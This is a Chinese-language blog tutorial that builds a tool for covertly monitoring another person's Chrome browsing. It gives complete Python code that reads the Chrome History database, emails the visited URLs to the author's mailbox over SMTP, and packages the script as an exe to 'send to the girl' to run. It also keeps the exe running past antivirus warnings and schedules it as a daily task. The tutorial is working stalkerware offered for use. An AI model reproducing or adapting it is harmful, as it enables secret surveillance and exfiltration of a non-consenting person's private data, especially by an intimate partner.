Python获取Google Chrome昨天以后的历史记录
Python获取Google Chrome昨天以后的历史记录
原文:教大家一招用Python实时监控自己的女朋友每天上网都在做什么!
参考这个思路,尝试自己实现一下
读取Chrome历史记录文件
1、文件可在以下路径找到,这是个sqllite数据库文件
C:\Users\自己的用户名\AppData\Local\Google\Chrome\User Data\Default\History
2、使用DB Browser把这个文件加进来,打开后可以看到表信息,这里用到的urls表中的url和last_visit_time字段
3、使用sqlite3模块,读取表字段值,打印出来看看
打印本地时间戳
>>> import time >>> time.time() 1534399058.524
这里发现其中last_visit_time字段的内容不太能理解,与当前时间戳相差甚大,Google发现这个值是以1601年为基准的时间戳,并且单位是微秒
iivaf…@gmail.com Thanks you a lot. I find reason. usual utc Unix-like system (Jan 1, 1970) Chrome start from new date 1601 so difference 11644473600 second to calculate usual date. Thanks you to helpfull links
4、对last_visit_time做判断,取得需要的数据
get_chrome_history.py代码如下
# -*- coding:utf-8 -*- # __author__ :kusy # __content__:文件说明 # __date__:2018/8/16 9:38 """ Get Visitied URLS in Chrome History """ import sqlite3 import time import datetime from os import replace import pytz def get_history_data(): #获取今天0点的日期 now = datetime.datetime.now() now_000 = time.strftime('%Y-%m-%d',datetime.datetime.timetuple(now)) #获取昨天0点的日期 today = datetime.datetime.strptime(now_000,'%Y-%m-%d') yestoday = today - datetime.timedelta(days=1) basedate = datetime.datetime(1601,1,1) # 获取以1601年为基准的时间戳 # today_timestamp = (today - basedate).total_seconds() yestoday_timestamp = (yestoday - basedate).total_seconds() conn = sqlite3.connect('C:\\Users\\suneee\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History') cur = conn.cursor() querystr = 'select url,last_visit_time from urls order by last_visit_time desc' cur.execute(querystr) data_all = cur.fetchall() expectdata = [] for data in data_all: #微秒转换为秒 last_visit_time = data[1] / 1000 / 1000 # 获取昨天时间之后的内容,否则退出循环(查询数据已经倒序排列) if last_visit_time > yestoday_timestamp: # 转换访问时间,UTC转换时区 + 8h visit_time = basedate + datetime.timedelta(seconds=last_visit_time,hours=8) # #UTC转换时区(这块没搞好,先手动加8小时吧) # visit_time = visit_time.astimezone(pytz.timezone('Asia/Shanghai')) visit_time = time.strftime('%Y-%m-%d %H:%M:%S',datetime.datetime.timetuple(visit_time)) expectdata.append(visit_time + ' ' + data[0]) else: break cur.close() conn.close() return '\n'.join(expectdata) if __name__ == '__main__': print(get_history_data())
通过邮件发送数据
1、sendmail.py代码如下
# -*- coding:utf-8 -*- # __author__ :kusy # __content__:文件说明 # __date__:2018/8/16 15:37 from email.mime.text import MIMEText from email.header import Header from email.utils import parseaddr, formataddr import smtplib from get_chrome_history import get_history_data def _format_addr(s): name, addr = parseaddr(s) return formataddr((Header(name, 'utf-8').encode(), addr)) def send(): from_addr = 'sky_wangjz@163.com' password = 'xxxx.' to_addr = 'sky_wangjz@163.com' smtp_server = 'smtp.163.com' # 拼接发送内容 mimestr = '<html><body><h1>昨日Chrome浏览记录</h1>' for hisdata in get_history_data().split('\n'): # 日期和网址分开 hisdata_split = hisdata.split(' ') # print(hisdata_split) mimestr = mimestr + '<p>' + \ hisdata_split[0] + \ ' <a href=\"' + hisdata_split[1] + '\">' +\ hisdata_split[1] + '</a></p>' mimestr = mimestr + '</body></html>' print(mimestr) msg = MIMEText(mimestr, 'html', 'utf-8') msg['From'] = _format_addr('Python爱好者 <%s>' % from_addr) msg['To'] = _format_addr('Python爱好者 <%s>' % to_addr) msg['Subject'] = Header('Chrome昨日浏览记录', 'utf-8').encode() server = smtplib.SMTP(smtp_server,25) server.set_debuglevel(1) server.login(from_addr,password) server.sendmail(from_addr,[to_addr],msg.as_string()) server.quit() if __name__ == '__main__': send()
2、效果图如下
文件发给妹子执行
1、py文件打包成exe,安装pyinstaller工具
C:\Users\suneee>pip3 install pyinstaller Collecting pyinstaller Downloading https://files.pythonhosted.org/packages/3c/86/909a8c35c5471919b3854c01f43843d9b5aed0e9 948b63e560010f7f3429/PyInstaller-3.3.1.tar.gz (3.5MB) 71% |██████████████████████▊ | 2.5MB 8.7kB/s eta 0:01:56
2、执行命令:pyinstaller -F sendemail.py
Q:\PyWorkSpace\LearnPython>pyinstaller -F sendemail.py 148 INFO: PyInstaller: 3.3.1 148 INFO: Python: 3.6.3 148 INFO: Platform: Windows-7-6.1.7601-SP1 150 INFO: wrote Q:\PyWorkSpace\LearnPython\sendemail.spec 156 INFO: UPX is not available. 158 INFO: Extending PYTHONPATH with paths ['Q:\\PyWorkSpace\\LearnPython', 'Q:\\PyWorkSpace\\LearnPython'] 158 INFO: checking Analysis 158 INFO: Building Analysis because out00-Analysis.toc is non existent 158 INFO: Initializing module dependency graph... 160 INFO: Initializing module graph hooks... 161 INFO: Analyzing base_library.zip ... 5476 INFO: running Analysis out00-Analysis.toc 5529 INFO: Adding Microsoft.Windows.Common-Controls to dependent assemblies of final executable required by c:\users\suneee\appdata\local\programs\python\python36\python.exe 6631 INFO: Caching module hooks... 6635 INFO: Analyzing Q:\PyWorkSpace\LearnPython\sendemail.py 7201 INFO: Processing pre-find module path hook distutils 8420 INFO: Loading module hooks... 8421 INFO: Loading module hook "hook-distutils.py"... 8433 INFO: Loading module hook "hook-encodings.py"... 8588 INFO: Loading module hook "hook-lib2to3.py"... 8598 INFO: Loading module hook "hook-pkg_resources.py"... 9021 INFO: Processing pre-safe import module hook win32com 9367 INFO: Loading module hook "hook-pydoc.py"... 9368 INFO: Loading module hook "hook-pythoncom.py"... 9709 INFO: Loading module hook "hook-pytz.py"... 9854 INFO: Loading module hook "hook-pywintypes.py"... 10100 INFO: Loading module hook "hook-sqlite3.py"... 10200 INFO: Loading module hook "hook-sysconfig.py"... 10201 INFO: Loading module hook "hook-win32com.py"... 10858 INFO: Loading module hook "hook-xml.py"... 11228 INFO: Looking for ctypes DLLs 11243 INFO: Analyzing run-time hooks ... 11246 INFO: Including run-time hook 'pyi_rth_pkgres.py' 11249 INFO: Including run-time hook 'pyi_rth_win32comgenpy.py' 11252 INFO: Including run-time hook 'pyi_rth_multiprocessing.py' 11264 INFO: Looking for dynamic libraries 11756 INFO: Looking for eggs 11756 INFO: Using Python library c:\users\suneee\appdata\local\programs\python\python36\python36.dll 11756 INFO: Found binding redirects: [] 11759 INFO: Warnings written to Q:\PyWorkSpace\LearnPython\build\sendemail\warnsendemail.txt 11818 INFO: Graph cross-reference written to Q:\PyWorkSpace\LearnPython\build\sendemail\xref-sendemail.html 11888 INFO: checking PYZ 11888 INFO: Building PYZ because out00-PYZ.toc is non existent 11888 INFO: Building PYZ (ZlibArchive) Q:\PyWorkSpace\LearnPython\build\sendemail\out00-PYZ.pyz 12544 INFO: Building PYZ (ZlibArchive) Q:\PyWorkSpace\LearnPython\build\sendemail\out00-PYZ.pyz completed successfully. 12555 INFO: checking PKG 12555 INFO: Building PKG because out00-PKG.toc is non existent 12557 INFO: Building PKG (CArchive) out00-PKG.pkg 12635 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\python36.dll 12639 INFO: Updating resource type 24 name 2 language 1033 12928 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_decimal.pyd 12928 INFO: Updating resource type 24 name 2 language 1033 12937 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_ctypes.pyd 12937 INFO: Updating resource type 24 name 2 language 1033 12944 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_multiprocessing.pyd 12946 INFO: Updating resource type 24 name 2 language 1033 13007 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_ssl.pyd 13008 INFO: Updating resource type 24 name 2 language 1033 13022 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\unicodedata.pyd 13022 INFO: Updating resource type 24 name 2 language 1033 13039 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\pyexpat.pyd 13040 INFO: Updating resource type 24 name 2 language 1033 13055 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_hashlib.pyd 13055 INFO: Updating resource type 24 name 2 language 1033 13067 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_bz2.pyd 13068 INFO: Updating resource type 24 name 2 language 1033 13086 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_lzma.pyd 13088 INFO: Updating resource type 24 name 2 language 1033 13104 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_socket.pyd 13104 INFO: Updating resource type 24 name 2 language 1033 13112 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\select.pyd 13113 INFO: Updating resource type 24 name 2 language 1033 13121 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_sqlite3.pyd 13123 INFO: Updating resource type 24 name 2 language 1033 13176 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\sqlite3.dll 13177 INFO: Updating resource type 24 name 2 language 1033 17795 INFO: Building PKG (CArchive) out00-PKG.pkg completed successfully. 17872 INFO: Bootloader c:\users\suneee\appdata\local\programs\python\python36\lib\site-packages\PyInstaller\bootloader\Windows-64bit\run.exe 17872 INFO: checking EXE 17872 INFO: Building EXE because out00-EXE.toc is non existent 17873 INFO: Building EXE from out00-EXE.toc 17873 INFO: Appending archive to EXE Q:\PyWorkSpace\LearnPython\dist\sendemail.exe 17884 INFO: Building EXE from out00-EXE.toc completed successfully. Q:\PyWorkSpace\LearnPython>
执行信息
执行完之后,可以看到生成了exe文件,运行一下,被360阻止发邮件,允许,成功发送
3、把这个exe文件使用批处理做计划任务(每天10点执行),运行bat文件,360阻止的话也允许
rem delete task :send_chrome_history schtasks /delete /tn "send_chrome_history" /f rem add task :send_chrome_history schtasks /create /tn "send_chrome_history" /tr "Q:\PyWorkSpace\LearnPython\dist\sendemail.exe" /st 10:00 /sc DAILY
可以看到计划任务已经添加成功了,以后每天10点都会自动执行